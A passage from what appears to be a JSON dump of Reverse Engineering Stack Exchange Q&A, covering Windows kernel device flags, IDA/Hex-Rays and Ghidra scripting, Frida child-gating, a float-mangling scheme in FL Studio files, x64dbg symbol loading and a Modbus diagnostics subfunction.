FILE_READ_ONLY_DEVICE                       0x00000002\n#define FILE_FLOPPY_DISKETTE                        0x00000004\n#define FILE_WRITE_ONCE_MEDIA                       0x00000008\n#define FILE_REMOTE_DEVICE                          0x00000010\n#define FILE_DEVICE_IS_MOUNTED                      0x00000020\n#define FILE_VIRTUAL_VOLUME                         0x00000040\n#define FILE_AUTOGENERATED_DEVICE_NAME              0x00000080\n#define FILE_DEVICE_SECURE_OPEN                     0x00000100\n#define FILE_CHARACTERISTIC_PNP_DEVICE              0x00000800\n#define FILE_CHARACTERISTIC_TS_DEVICE               0x00001000\n#define FILE_CHARACTERISTIC_WEBDAV_DEVICE           0x00002000\n#define FILE_CHARACTERISTIC_CSV                     0x00010000\n#define FILE_DEVICE_ALLOW_APPCONTAINER_TRAVERSAL    0x00020000\n#define FILE_PORTABLE_DEVICE                        0x00040000\n#define FILE_REMOTE_DEVICE_VSMB                     0x00080000\n#define FILE_DEVICE_REQUIRE_SECURITY_CHECK          0x00100000\n\n// Define Device Object (DO) flags\n    //\n    // DO_DAX_VOLUME - If set, this is a DAX volume i.e. the volume supports mapping a file directly\n    // on the persistent memory device.  The cached and memory mapped IO to user files wouldn't\n    // generate paging IO.\n    //\n    #define DO_VERIFY_VOLUME                    0x00000002      \n    #define DO_BUFFERED_IO                      0x00000004      \n    #define DO_EXCLUSIVE                        0x00000008      \n    #define DO_DIRECT_IO                        0x00000010      \n    #define DO_MAP_IO_BUFFER                    0x00000020      \n    #define DO_DEVICE_INITIALIZING              0x00000080      \n    #define DO_SHUTDOWN_REGISTERED              0x00000800      \n    #define DO_BUS_ENUMERATED_DEVICE            0x00001000      \n    #define DO_POWER_PAGABLE                    0x00002000      \n    #define DO_POWER_INRUSH                     0x00004000      \n    #define DO_DEVICE_TO_BE_RESET               0x04000000      \n    #define DO_DAX_VOLUME                       0x10000000 \n</code></pre>\n",
        "Title": "What are these Device Object Characteristics / Flags in Windows 10 ntoskrnl!IopParseDevice",
        "Tags": "|disassembly|windows|kernel|",
        "Answer": "<p>Hmm, not sure which WDK you were using, but at least the <code>Windows Kits\\10\\Include\\10.0.22000.0\\km\\ntifs.h</code> and <code>Windows Kits\\10\\Include\\10.0.22000.0\\km\\ntddk.h</code> of the newest (non-preview/beta) WDK list:</p>\n<pre><code>#define DO_VERIFY_VOLUME                    0x00000002\n#define DO_BUFFERED_IO                      0x00000004\n#define DO_EXCLUSIVE                        0x00000008\n#define DO_DIRECT_IO                        0x00000010\n#define DO_MAP_IO_BUFFER                    0x00000020\n#define DO_DEVICE_HAS_NAME                  0x00000040 // *\n#define DO_DEVICE_INITIALIZING              0x00000080\n#define DO_SYSTEM_BOOT_PARTITION            0x00000100 // *\n#define DO_LONG_TERM_REQUESTS               0x00000200 // *\n#define DO_NEVER_LAST_DEVICE                0x00000400 // *\n#define DO_SHUTDOWN_REGISTERED              0x00000800\n#define DO_BUS_ENUMERATED_DEVICE            0x00001000\n#define DO_POWER_PAGABLE                    0x00002000\n#define DO_POWER_INRUSH                     0x00004000\n#define DO_LOW_PRIORITY_FILESYSTEM          0x00010000 // *\n#define DO_SUPPORTS_PERSISTENT_ACLS         0x00020000 // * &lt;- only in ntifs.h\n#define DO_SUPPORTS_TRANSACTIONS            0x00040000 // *\n#define DO_FORCE_NEITHER_IO                 0x00080000 // *\n#define DO_VOLUME_DEVICE_OBJECT             0x00100000 // *\n#define DO_SYSTEM_SYSTEM_PARTITION          0x00200000 // *\n#define DO_SYSTEM_CRITICAL_PARTITION        0x00400000 // *\n#define DO_DISALLOW_EXECUTE                 0x00800000 // *\n#define DO_DEVICE_TO_BE_RESET               0x04000000\n#define DO_DEVICE_IRP_REQUIRES_EXTENSION    0x08000000 // *\n#define DO_DAX_VOLUME                       0x10000000\n#define DO_BOOT_CRITICAL                    0x20000000\n</code></pre>\n<p>Those marked with <code>*</code> are not on the list you gave. But I think this list is comprehensive enough to decode <em>almost</em> (except for 0x01) all items you were looking for:</p>\n<ul>\n<li>0x40001 == <code>DO_SUPPORTS_TRANSACTIONS | 0x01</code></li>\n<li>0x600100 == <code>DO_SYSTEM_BOOT_PARTITION | DO_SYSTEM_SYSTEM_PARTITION | DO_SYSTEM_CRITICAL_PARTITION</code></li>\n</ul>\n<p>I was, however, at first also unable to find what the 0x01 flag means. However, <strong>if</strong> ReactOS is to be trusted (<a href=\"https://github.com/reactos/reactos/blob/master/media/doc/notes#L43\" rel=\"nofollow noreferrer\">and often it can be trusted in those matters</a>, but not always) <a href=\"https://github.com/reactos/reactos/blob/999345a4feaae1e74533c96fa2cdfa1bce50ec5f/sdk/include/xdk/iotypes.h#L245\" rel=\"nofollow noreferrer\">this could be</a>:</p>\n<pre><code>#define DO_UNLOAD_PENDING               0x00000001\n</code></pre>\n"
    },
    {
        "Id": "30338",
        "CreationDate": "2022-04-28T02:07:28.103",
        "Body": "<p>I am using idapython to get function return type and arguments @ an indirect call instruction.</p>\n<p>I was able to sync ida disassembler with hexrays decompiler as asked <a href=\"https://reverseengineering.stackexchange.com/questions/30252/idapython-how-to-get-decompiler-output-corresponding-to-the-indirect-call/30258#30258\">here</a> and I can now get decompiled output for specific instruction. For e.g.</p>\n<p>for instruction:</p>\n<pre><code>call    rdx\n</code></pre>\n<p>I can get:</p>\n<pre><code>v4 = ((__int64 (__fastcall *)(_QWORD))fn2)(b) + v3;\n</code></pre>\n<p>My final goal is to get function return type for e.g. in above case it could be the type of variable <code>v4</code> and argument types, for e.g. type of variable <code>b</code>. So, say the function can possibly be:</p>\n<pre><code>return type: int\narg1 type: int\n....\n</code></pre>\n<p>I want to get these for indirect callsites.</p>\n<p>I checked the hexrays api but I believe there isn't any function which can give me return type and argument types/ count at a certain callsite.</p>\n<p>One way to achieve this may be to extract arguments using regex for e.g. in above case <code>b</code> and then hunt their type by searching through <code>lvars</code> method from decompiled object. But, it seems like a lot of work (and maybe error prone) for seemingly easier problem using some internal ida functions.</p>\n<p>Could you please give many any directions on how to solve this? really appreciated.</p>\n",
        "Title": "how to get indirect callsite function return type and arguments",
        "Tags": "|ida|idapython|hexrays|",
        "Answer": "<p>Don't use regular expressions. Generally speaking, never use regular expressions to solve problems in IDA. All of the text you'd be operating upon is available as data via the API, which provides a normalized form and can resolve ambiguities. Anyway, your rough plan of attack here is as follows:</p>\n<ol>\n<li>Although it's not strictly necessary, I'm going to strongly recommend <a href=\"https://github.com/patois/HRDevHelper\" rel=\"nofollow noreferrer\">installing HRDevHelper and using it often</a>. Any time you wonder &quot;how is X represented in the Hex-Rays ctree data structures?&quot;, the fastest way to find out is to invoke HRDevHelper via its keyboard shortcut (default <kbd>ctrl</kbd>+<kbd>.</kbd>), see the answer visually, and then go to <code>hexrays.hpp</code> in the SDK for more specifics. (Note, you may want to change the default colors in the configuration file for HRDevHelper).</li>\n<li>After having done so, locate an indirect call in the decompilation, and use HRDevHelper to view its representation. Here's what we see for the following decompilation <code>(*(void (__fastcall **)(struct BINDING_HANDLE *, __int64))(*(_QWORD *)v5 + 8i64))(v5, 1i64);</code>:</li>\n</ol>\n<p><a href=\"https://i.stack.imgur.com/EY1l2.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/EY1l2.png\" alt=\"HRDevHelper output\" /></a></p>\n<ol start=\"3\">\n<li><p>Looking at the figure, we see that calls are represented by <code>cot_call</code> expressions, whose <code>.x</code> member describes the destination of the call. For indirect calls (like the one in the figure), we can see that the node for <code>.x</code> (off to the left) has the text <code>ptr.8</code> at the top. This indicates that <code>.x</code> is another expression of type <code>cot_ptr</code>. We can also see that the left <code>ptr.8</code> node has the function type printed inside of it. In fact, the type is stored in a <code>tinfo_t</code> object held within the <code>.x.type</code> member, and HRDevHelper is simply printing it for us.</p>\n</li>\n<li><p>To summarize: find <code>cot_call</code> expressions whose <code>.x</code> member does not have type <code>cot_obj</code> (as this is how direct calls are represented). Look at the <code>.x.type</code> member to determine the type of the indirect call. You're going to want to take a look at the <code>func_type_data_t</code> data type and the <code>tinfo_t::get_func_details</code> member function from <code>typeinf.hpp</code>. The former is derived from a vector of <code>funcarg_t</code> objects, which contain <code>tinfo_t</code> objects for each argument. The <code>rettype</code> field also describes the function's return type.</p>\n</li>\n<li><p>Now that we know how Hex-Rays represents indirect calls, the easiest (but not the only) way to get ahold of them is to use a <code>ctree_visitor_t</code>. There are several examples in <code>%IDADIR%\\python\\examples\\hexrays</code> (grep it for <code>ctree_visitor_t</code>); the simplest one is <code>vds7.py</code>. Give it a try; add a <code>visit_expr(self,expr)</code> method to its <code>cblock_visitor_t</code> class, try to implement the logic described in the previous bulletpoint, run the plugin, and see what happens.</p>\n</li>\n</ol>\n"
    },
    {
        "Id": "30340",
        "CreationDate": "2022-04-28T06:01:16.663",
        "Body": "<p>I have never seen something like this before but I assume this is some kind of way C++ allocates dynamic strings. In my decompilation listing in Ghidra I see something like:</p>\n<pre><code>  local_14 = DAT_00404004 ^ (uint)&amp;stack0xfffffff0;\n  local_70 = 0x2120302e;\n  local_90 = 0x636c6557;\n  uStack140 = 0x20656d6f;\n  uStack136 = 0x45206f74;\n  uStack132 = 0x7972636e;\n  local_6c = 0xa20;\n  local_80 = 0x6f697470;\n  uStack124 = 0x694b206e;\n  uStack120 = 0x76206172;\n  uStack116 = 0x322e342e;\n  local_6a = 0;\n  local_28 = 0x203a656d;\n  plea_str = 0x61656c50;\n  uStack60 = 0x69206573;\n  uStack56 = 0x7475706e;\n  uStack52 = 0x756f7920;\n  local_30 = 0x616e726573752072;\n  local_24 = 0;\n  local_60 = 0x656c500a;\n  uStack92 = 0x20657361;\n  uStack88 = 0x75706e69;\n  uStack84 = 0x6f792074;\n  local_48 = 0x3a64726f;\n  local_50 = 0x7773736170207275;\n  local_20 = 0x656d6f636c65570a;\n  local_44 = 0x20;\n  local_18 = 0x20;\n  local_d0 = 0xa2e6e;\n  local_f0 = 0x6f72570a;\n  uStack236 = 0x7020676e;\n  uStack232 = 0x77737361;\n  uStack228 = 0x2e64726f;\n  local_e0 = 0x656c5020;\n  uStack220 = 0x20657361;\n  uStack216 = 0x20797274;\n  uStack212 = 0x69616761;\n  your_str = 0x72756f59;\n  uStack156 = 0x65737520;\n  uStack152 = 0x6d616e72;\n  uStack148 = 0x203a65;\n  local_c0 = 0x72756f59;\n  uStack188 = 0x73617020;\n  uStack184 = 0x726f7773;\n  uStack180 = 0x203a64;\n  local_b0 = 0x766e490a;\n  uStack172 = 0x64696c61;\n  uStack168 = 0x6d616e20;\n  uStack164 = 0xa2165;\n</code></pre>\n<p>I am not totally sure what <code>local_14</code> is doing either. But each of these locals is a string as you can tell from the bytes. Hovering over them gives the string (in reverse). I'd like to find a way to combine these in a way that makes them make more sense but despite my best efforts I cannot type them correct to get ghidra to recognize what they are and their relationship. What is the best way to handle these strings to clean up my decompilation?</p>\n",
        "Title": "Strange DWORD/QWORD C++ Strings in decompilation",
        "Tags": "|c++|ghidra|strings|",
        "Answer": "<p>This is a standard method for the C and C++ compilers to build static strings directly on the stack. This method will be used by the compiler when compiling this code:</p>\n<pre><code>#include &lt;cstdio&gt;\n\nint main() {\n    char str1[] = &quot;hello world from some string that is constructed directly on the stack&quot;;\n    printf(&quot;%s\\n&quot;, str1);                                                                  \n    return 0;\n}\n</code></pre>\n<p>Result in Ghidra:</p>\n<pre><code>undefined8 main(void)\n\n{\n    long in_FS_OFFSET;\n    long local_58;\n    undefined8 uStack80;\n    undefined8 uStack72;\n    undefined8 uStack64;\n    undefined8 uStack56;\n    undefined8 uStack48;\n    undefined8 uStack40;\n    undefined8 uStack32;\n    undefined4 uStack24;\n    undefined2 uStack20;\n    undefined uStack18;\n    long lStack16;\n    \n    lStack16 = *(long *)(in_FS_OFFSET + 0x28);\n    local_58 = 0x6f77206f6c6c6568;\n    uStack80 = 0x6d6f726620646c72;\n    uStack72 = 0x747320656d6f7320;\n    uStack64 = 0x61687420676e6972;\n    uStack56 = 0x6e6f632073692074;\n    uStack48 = 0x6465746375727473;\n    uStack40 = 0x6c74636572696420;\n    uStack32 = 0x656874206e6f2079;\n    uStack24 = 0x61747320;\n    uStack20 = 0x6b63;\n    uStack18 = 0;\n    puts((char *)&amp;local_58);\n    if (lStack16 != *(long *)(in_FS_OFFSET + 0x28)) {\n                    // WARNING: Subroutine does not return\n        __stack_chk_fail();\n    }\n    return 0;\n}\n</code></pre>\n<p>The only way I could find to make the output a little less noisy is to change the type of the variable that holds the beginning of each string to <code>char[N]</code> where N is the size of the string. In I've retyped the <code>local_58</code> variable to <code>char[71]</code> and I got this:</p>\n<pre><code>undefined8 main(void)\n\n{\n    long lVar1;\n    long in_FS_OFFSET;\n    char local_58 [71];\n    \n    lVar1 = *(long *)(in_FS_OFFSET + 0x28);\n    local_58._0_8_ = 0x6f77206f6c6c6568;\n    local_58._8_8_ = 0x6d6f726620646c72;\n    local_58._16_8_ = 0x747320656d6f7320;\n    local_58._24_8_ = 0x61687420676e6972;\n    local_58._32_8_ = 0x6e6f632073692074;\n    local_58._40_8_ = 0x6465746375727473;\n    local_58._48_8_ = 0x6c74636572696420;\n    local_58._56_8_ = 0x656874206e6f2079;\n    local_58._64_4_ = 0x61747320;\n    local_58._68_2_ = 0x6b63;\n    local_58[70] = '\\0';\n    puts(local_58);\n    if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {\n                    // WARNING: Subroutine does not return\n        __stack_chk_fail();\n    }\n    return 0;\n}\n</code></pre>\n<p>It's still noisy, but at least now it uses just 1 variable for a string, and it's easier to rename the variables.</p>\n"
    },
    {
        "Id": "30341",
        "CreationDate": "2022-04-28T10:27:34.190",
        "Body": "<p>In IDA, I have the following disassembly code (from an old 16-bit DOS application) :</p>\n<pre><code>les     bx, _Foo\nmov     word ptr es:[bx+84h], 0FFFFh\nmov     word ptr es:[bx+8Ch], 0FFFFh\nmov     word ptr es:[bx+8Ah], 0FFFFh\n\n...\n\n_Foo          dd 0    \n</code></pre>\n<p><code>_Foo</code> is defined as double word (4 bytes) but it's actually a pointer to a structure. That structure is already defined in IDA. I would like IDA to know about it in order to replace all offsets by the actual field names :</p>\n<pre><code>les     bx, _Foo\nmov     word ptr es:[bx+myStruct.FieldX], 0FFFFh\nmov     word ptr es:[bx+myStruct.FieldY], 0FFFFh\nmov     word ptr es:[bx+myStruct.FieldZ], 0FFFFh\n</code></pre>\n<p>This is something that can be done by selecting some code, pressing <kbd>T</kbd>, and then selecting appropriate structure, as explained <a href=\"https://reverseengineering.stackexchange.com/questions/9485/how-to-apply-ida-structure-to-a-pointer-of-a-structure#13491\">here</a>. However (AFAIK) this as to be done manually for each piece of code. I would like IDA to do that replacement automatically because it is aware of  <code>_Foo</code> type.</p>\n<p>After some search, I found how to set <code>_Foo</code> as pointer to struct:\nclick on the variable, hit <kbd>U</kbd> (to undefine any type), then <kbd>Y</kbd> and enter <code>myStruct* _Foo;</code> in the dialog.</p>\n<p><code>_Foo</code> will now looks like this :</p>\n<pre><code>; myStruct *Foo\n_Foo          dd 0   \n</code></pre>\n<p>It seems the only thing it does is to set variable back to <code>dd</code> and put type as comment. Field offsets are still not shown properly. It this a limitation of IDA ? (I use 7.5 version)</p>\n",
        "Title": "How to set a variable as \"pointer to struct\" in IDA in order to automatically replace offsets by field names?",
        "Tags": "|ida|disassembly|struct|dos|pointer|",
        "Answer": "<p>If you select all instructions referring to the structure and press <kbd>T</kbd>, you'll get a <a href=\"https://hex-rays.com/blog/igor-tip-of-the-week-04-more-selection/\" rel=\"nofollow noreferrer\">different dialog</a> where you can select the base register and the struct to apply to offsets from it.</p>\n"
    },
    {
        "Id": "30348",
        "CreationDate": "2022-04-30T03:57:52.560",
        "Body": "<p>I am using IDA Pro 7.6 on win32 x86 binaries.</p>\n<p>I'm trying to use the ida_hexrays interface to decompile subroutines. I want all of the local variables and arguments of the subroutine to have integral types, no pointer types. I made this function to do all the processing for me</p>\n<pre><code>import ida_hexrays\nimport ida_typeinf as ida_type\nimport ida_lines\n\ndef decompile_function( function_location ):\n    decompile_handle = ida_hexrays.decompile( function_location, flags = ida_hexrays.DECOMP_NO_CACHE )\n\n    for local_variable in decompile_handle.lvars:\n        type_info = local_variable.type()\n\n        try:    \n            if ida_type.is_type_ptr( type_info.get_decltype() ):\n                pointed_object = type_info.get_pointed_object()\n\n                if ida_type.is_type_integral( pointed_object.get_decltype() ):\n                    local_variable.set_lvar_type( type_info.get_pointed_object() )      \n        except:\n            pass\n\n    decompile_handle.refresh_func_ctext()\n\n    pseudo_code = decompile_handle.get_pseudocode()\n    decompile_result = &quot;&quot;\n\n    for code_line in pseudo_code:\n        decompile_result = decompile_result + ida_lines.tag_remove( code_line.line ) + &quot;\\n&quot;;\n\n    return decompile_result\n</code></pre>\n<p>When I decompile, I can see in the variable list that all of the variables are integral types</p>\n<pre><code>unsigned __int8 v7; // al\nint v10; // eax\nunsigned int v11; // esi\nconst char v12; // cl\n_DWORD v13; // eax\n\nv13 = (_DWORD *)v11;\n</code></pre>\n<p>However, as you may notice above, <code>v13 = (_DWORD *)v11</code> v13 is improperly being set as a pointer. As it turns out, none of the code except the variable declarations gets changed. This happens for every subroutine that I try to decompile with this.</p>\n<p>But when I right-click and use reset pointer value, the code changes and it would look like <code>v13 = v11;</code>. What is the issue with my code, or is IDAPython/IDAHexrays to blame? How do I make it actually reset the pointer value and not just in the declaration list?</p>\n",
        "Title": "idapython: how to reset pointer type for variables",
        "Tags": "|ida|idapython|hexrays|",
        "Answer": "<p>That function, <code>lvar_t::set_lvar_type</code>, is accompanied by the following comment:</p>\n<pre><code>  /// Note: this function does not modify the idb, only the lvar instance\n  /// in the memory. For permanent changes see modify_user_lvars()\n</code></pre>\n<p>Instead of calling <code>set_lvar_type</code>, you're going to want something like this instead:</p>\n<pre><code>def ChangeVariableType(func_ea, lvar, tif):\n    lsi = ida_hexrays.lvar_saved_info_t()\n    lsi.ll = lvar\n    lsi.type = ida_typeinf.tinfo_t(tif)\n    if not ida_hexrays.modify_user_lvar_info(func_ea, ida_hexrays.MLI_TYPE, lsi):\n        print(&quot;[E] Could not modify lvar type for %s&quot; % lvar.name)\n        return False\n    return True\n</code></pre>\n"
    },
    {
        "Id": "30349",
        "CreationDate": "2022-04-30T12:14:01.617",
        "Body": "<p>There was such a situation. I run the frida hook on the process like this:</p>\n<pre><code>frida -f '..\\hack2\\hackme.exe'  -l .\\start.js\n</code></pre>\n<p>In the script itself I do this</p>\n<pre><code>var moduleData = Process.getModuleByName(&quot;hackme.exe&quot;);\n</code></pre>\n<p>then comes the code which, as a result of which, I launch a function that launches another process - <code>level2.exe</code>.</p>\n<p>It would be convenient if you could hook this process directly from this script.\ncalling <code>Process.findModuleByName(&quot;level2.exe&quot;);</code> is always null. The only way I see now is to write a Python script that will monitor the launch of the second process and run the hook in different threads. Perhaps there is a simpler solution without resorting to such extreme measures?</p>\n",
        "Title": "Frida hook multiple processes",
        "Tags": "|windows|python|frida|",
        "Answer": "<p>This is called <a href=\"https://frida.re/news/#child-gating\" rel=\"nofollow noreferrer\">child-gating</a> and frida has a very good <a href=\"https://github.com/frida/frida-python/blob/main/examples/child_gating.py\" rel=\"nofollow noreferrer\">example</a></p>\n<p>Here is a demo with a simple application. A simple C program with a <code>fork</code> and we try to hook <code>puts</code> for both child and parent.</p>\n<pre><code>(test3) [frida-example] cat test.c\n#include &lt;stdio.h&gt;\n#include &lt;sys/types.h&gt;\n#include &lt;unistd.h&gt;\nint main() {\n  puts(&quot;before&quot;);\n  pid_t pid = fork();\n  if (pid) {\n    puts(&quot;parent&quot;);\n  } else {\n    puts(&quot;child&quot;);\n  }\n}\n(test3) [frida-example] make test\ncc     test.c   -o test\n</code></pre>\n<p>With the <a href=\"https://github.com/frida/frida-python/blob/main/examples/child_gating.py\" rel=\"nofollow noreferrer\">example</a> - adding changes</p>\n<pre><code>    def _start(self):\n        argv = [&quot;./test&quot;]\n        print(&quot;\u2714 spawn(argv={})&quot;.format(argv))\n        pid = self._device.spawn(argv, env={}, stdio='pipe')\n        self._instrument(pid)\n</code></pre>\n<p>and</p>\n<pre><code>    def _instrument(self, pid):\n        print(&quot;\u2714 attach(pid={})&quot;.format(pid))\n        session = self._device.attach(pid)\n        session.on(&quot;detached&quot;, lambda reason: self._reactor.schedule(lambda: self._on_detached(pid, session, reason)))\n        print(&quot;\u2714 enable_child_gating()&quot;)\n        session.enable_child_gating()\n        print(&quot;\u2714 create_script()&quot;)\n        script = session.create_script(&quot;&quot;&quot;\\\nInterceptor.attach(Module.getExportByName(null, 'puts'), {\n  onEnter: function (args) {\n    send({\n      type: 'puts',\n      path: Memory.readUtf8String(args[0])\n    });\n  }\n});\n&quot;&quot;&quot;)\n</code></pre>\n<p>then by running</p>\n<pre><code>(test3) [frida-example] python hook.py\n\u2714 spawn(argv=['./test'])\n\u2714 attach(pid=1968)\n...\n\u2714 resume(pid=1968)\n\u26a1 message: pid=1968, payload={'type': 'puts', 'path': 'before'}\n\u26a1 message: pid=1968, payload={'type': 'puts', 'path': 'parent'}\n...\n\u26a1 child_added: Child(pid=1977, parent_pid=1968, origin=fork)\n\u2714 attach(pid=1977)\n...\n\u2714 resume(pid=1977)\n\u26a1 child_removed: Child(pid=1977, parent_pid=1968, origin=fork)\n\u26a1 message: pid=1977, payload={'type': 'puts', 'path': 'child'}\n...\n\u26a1 detached: pid=1977, reason='process-terminated'\n</code></pre>\n<p>We hooked both the instances of child and parent</p>\n"
    },
    {
        "Id": "30354",
        "CreationDate": "2022-05-01T13:34:02.327",
        "Body": "<p>Idk if this is asked before sorry</p>\n<p>So I tried something with Process Hacker and Windbg but it couldn't help me\nThe dll is injected using <code> CreateRemoteThread</code>, <code>LoadLibrary</code> i tried looking through files but im a newbie so i didn't got so much experience.\nWhat way would you guys prefer to export a dll of process memory?</p>\n",
        "Title": "Exporting dll out of a process memory",
        "Tags": "|dll|memory-dump|",
        "Answer": "<p>If the library is indeed loaded using LoadLibrary, it must exist on disk. You can, for example,  check the list of modules using Process Explorer or similar and look for it on disk, or catch the load event in the debugger - the file should be available at that point even if it\u2019s deleted afterwards.</p>\n"
    },
    {
        "Id": "30363",
        "CreationDate": "2022-05-04T22:23:11.167",
        "Body": "<p>I'm reverse engineering a proprietary file format that contains a set of points to construct a curve (FL Studio's .fnv format). What i have trouble with in particular is how the Y-coordinates are saved in the file. The Y-coordinate of a point is represented between 0 and 1, inclusively, although i doubt it's a fixed-point encoding. HxD didn't recognize it and the float values were seemingly garbage.\nHere's what I've found currently:</p>\n<p>Let's say the point we have has the coordinate of <code>0.0124069480225444</code>. If we look into it's .fnv file we would observe in that place these bits:</p>\n<p><code>01100000 11010000 01101000 10001001</code></p>\n<p>What I've tried doing was to take the binary representation of that float using <a href=\"https://www.h-schmidt.net/FloatConverter/IEEE754.html\" rel=\"nofollow noreferrer\">this handy tool</a> and seeing what was similar:</p>\n<p><code>00111100 01001011 01000110 10000011</code></p>\n<p>Then, bitshift three to the right</p>\n<p><code>00000111 10001001 01101000 11010000</code></p>\n<p>And reverse the order of the last three bytes:</p>\n<p><code>00000111 110100000 1101000 10001001</code></p>\n<p>The last tree bytes <em>do</em> match up with the original value found on all of the files that I've tested, but the first byte always seems to be <code>00000111</code>, which hasn't showed up in any of the files I've seen. It must be something related to the exponent part of IEEE-754 but I'm unsure.</p>\n<p>So my question is - am i missing something obvious? I'm a bit new to the world of reverse engineering so i'd appreciate your help</p>\n<p><a href=\"https://drive.google.com/drive/folders/1B0Q3105zMu6DR1UZasPNFnsMDyVVa66Y?usp=sharing\" rel=\"nofollow noreferrer\">File examples</a> - see 4 bytes at 0x17-0x1B</p>\n",
        "Title": "Floating point number mangled in a proprietary file",
        "Tags": "|file-format|float|",
        "Answer": "<p>I took a look at a few of them out of curiosity. My primary observation was that, if instead of <em>shifting</em> to the right by 3, you <em>rotate</em> to the right by 3 -- i.e. don't throw the bottom 3 bits at the bottom away, but rather, move them back to the top 3 bits -- then you <em>almost</em> get the result in the file -- except a few bits were different. I set out to try to figure out what the difference was, and it quickly became obvious that the value in the file was always XORed by <code>0x7000000</code> when compared to the output of the mangling procedure developed until that point. So it seemed like the last step was to XOR by that constant. I wrote a little Python program to test this:</p>\n<pre><code>import sys\n\ndef ror32(x,n):\n    n &amp;= 31\n    low  = (x &gt;&gt; n)\n    high = (x &lt;&lt; (32-n)) &amp; 0xFFFFFFFF\n    return high|low\n\ndef swaplow3(x):\n    x0 = x &amp; 0xFF\n    x1 = (x&gt;&gt;8) &amp; 0xFF\n    x2 = (x&gt;&gt;16) &amp; 0xFF\n    x3 = (x&gt;&gt;24) &amp; 0xFF\n    return (x3&lt;&lt;24) | (x0&lt;&lt;16) | (x1&lt;&lt;8) | x2\n\ndef MangleFloat(f):\n    f = ror32(f,3)\n    f = swaplow3(f)\n    f = f ^ 0x7000000\n    return f\n\nprint(&quot;%#x&quot; % (MangleFloat(int(sys.argv[1],16))))\n</code></pre>\n<p>Then I took the float values from the names of some of the files from your Google Drive link above, tested them, and compared it to the value in the file. It correctly predicted everything I tested (though I only tested a random sampling of them).</p>\n<p>You were close; if you'd gone with rotate right instead of shift right, you might've then noticed that the difference was always a fixed bit pattern, which would have lead you to the fixed XOR constant.</p>\n"
    },
    {
        "Id": "30371",
        "CreationDate": "2022-05-06T17:50:41.797",
        "Body": "<p>I want to see symbols in the disassembly wherever possible, and I have a PDB file for the .exe I'm debugging, but I can't find a way to load the PDB file from disk. Is it even possible?</p>\n",
        "Title": "How to load a PDB file into x64dbg?",
        "Tags": "|windows|x64dbg|symbols|debugging-symbols|pdb|",
        "Answer": "<p>You can use <a href=\"https://help.x64dbg.com/en/latest/commands/analysis/symload.html\" rel=\"nofollow noreferrer\">symload/loadsym</a> command.</p>\n<p>In the x64dbg console type:</p>\n<blockquote>\n<p>symload pdbconsoleapplication1,symbols\\pdbconsoleapplication1.pdb,[0/1]</p>\n</blockquote>\n<p>With the last argument, you can control if the validation of symbols shall be skipped or not (1 - skips).</p>\n"
    },
    {
        "Id": "30378",
        "CreationDate": "2022-05-09T08:16:53.677",
        "Body": "<p>I encountered the following 2 instructions while reversing Tricore assembly:</p>\n<p><a href=\"https://i.stack.imgur.com/KYcG3.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/KYcG3.png\" alt=\"2 instructions reference\" /></a></p>\n<p>These 2 instructions load the final address: 0x804A9474. Where a global symbol resides.<br />\nIs there a way to hint Ghidra the global symbol is located calculated address? (For example like Ctrl+R in IDA)</p>\n",
        "Title": "How to reference an address set by 2 instructions in Ghidra",
        "Tags": "|decompilation|ghidra|address|offset|",
        "Answer": "<p>The default hotkey for this is 'R', which is mapped to &quot;Add/Edit References&quot;. You can also reach this menu by right-clicking in the Listing view on one of these instructions and selecting <code>References-&gt;Add/Edit...</code>. This will open the References Editor, from which you can add a new reference using the green plus icon for &quot;Add Forward Reference&quot;. You will have to manually specify the address this way, unfortunately. The type of reference will depend on whether this is data, a function address, or something else, and will affect what the decompiler does with this new reference information, if anything.</p>\n<p>In many cases the decompiler automatically takes care of calculating the final value for you, though it probably won't create an explicit reference. I've seen this happen for other architectures, but have not specifically tried with Tricore.</p>\n"
    },
    {
        "Id": "30386",
        "CreationDate": "2022-05-11T08:28:08.693",
        "Body": "<p>A client application sends a Modbus 0x08 diagnostics query to Schneider modicun PLC over TCP/IP. The software describes itself as designed for Modicon Micro/Compact/Quantum/Momentum/584/984.</p>\n<p>Payload receieved:</p>\n<pre><code>0000   00 00 00 00 00 06 00 08 00 15 00 03               ............\n</code></pre>\n<p>I interpret this request as:</p>\n<pre><code>Transaction Identifier: 0\nProtocol Identifier: 0\nLength: 6\nUnit Identifier: 0\nFunction Code: 8\nSubfunction: 0x15 (21)\nData: 0003\n</code></pre>\n<p>Received:</p>\n<pre><code>0000   00 00 00 00 00 53 00 08 00 15 00 03 4c 00 00 54   .....S......L..T\n0010   10 01 df 01 c0 d5 00 00 00 03 00 00 00 00 00 00   ................\n0020   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................\n0030   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................\n0040   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................\n0050   00 00 00 00 00 06 c6 15 0a                        .........\n\nTransaction Identifier: 0\n    Protocol Identifier: 0\n    Length: 0x53 (83)\n    Unit Identifier: 0\n    Function Code: 8\n    Subfunction: 0x15 (21)\n    Data: 000c2960bbff005056e53596080045000081acb100008006b6810a15c606c0a8468001f6ca7018bd77d328e389bf5018faf000e600000000000000530008001500034c0000541001df01c0d500000003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006c6150a\n</code></pre>\n<p>I'm trying to create an emulator that can respond to this 0x8 function code so I can do basic tests of the software without hardware. While I have found documents describing diagnostics with &quot;subfunction&quot; &lt; 21 I can't find any documentation/specification for this subfunction 21.</p>\n<p>Any idea what information is being requested here and what type of data is being sent in the response?</p>\n",
        "Title": "Interpreting Response for Modbus/TCP function code 0x08 Diagnostics",
        "Tags": "|networking|",
        "Answer": "<p>Google returned to me this document with information about function 0x8 subfunction 0x15:</p>\n<p><a href=\"https://www.modbus.org/docs/PI_MBUS_300.pdf\" rel=\"nofollow noreferrer\">https://www.modbus.org/docs/PI_MBUS_300.pdf</a></p>\n<blockquote>\n<p>21 (15 Hex) Get/Clear Modbus Plus Statistics Returns a series of 54\n16-bit words (108 bytes) in the data field of the response (this\nfunction differs from the usual two-byte length of the data field).\nThe data contains the statistics for the Modbus Plus peer processor in\nthe slave device.</p>\n</blockquote>\n<p>Be aware that this document describes MBPlus, not MBTCP/IP, but i hope information still will be useful for you.</p>\n"
    },
    {
        "Id": "30390",
        "CreationDate": "2022-05-11T17:58:21.003",
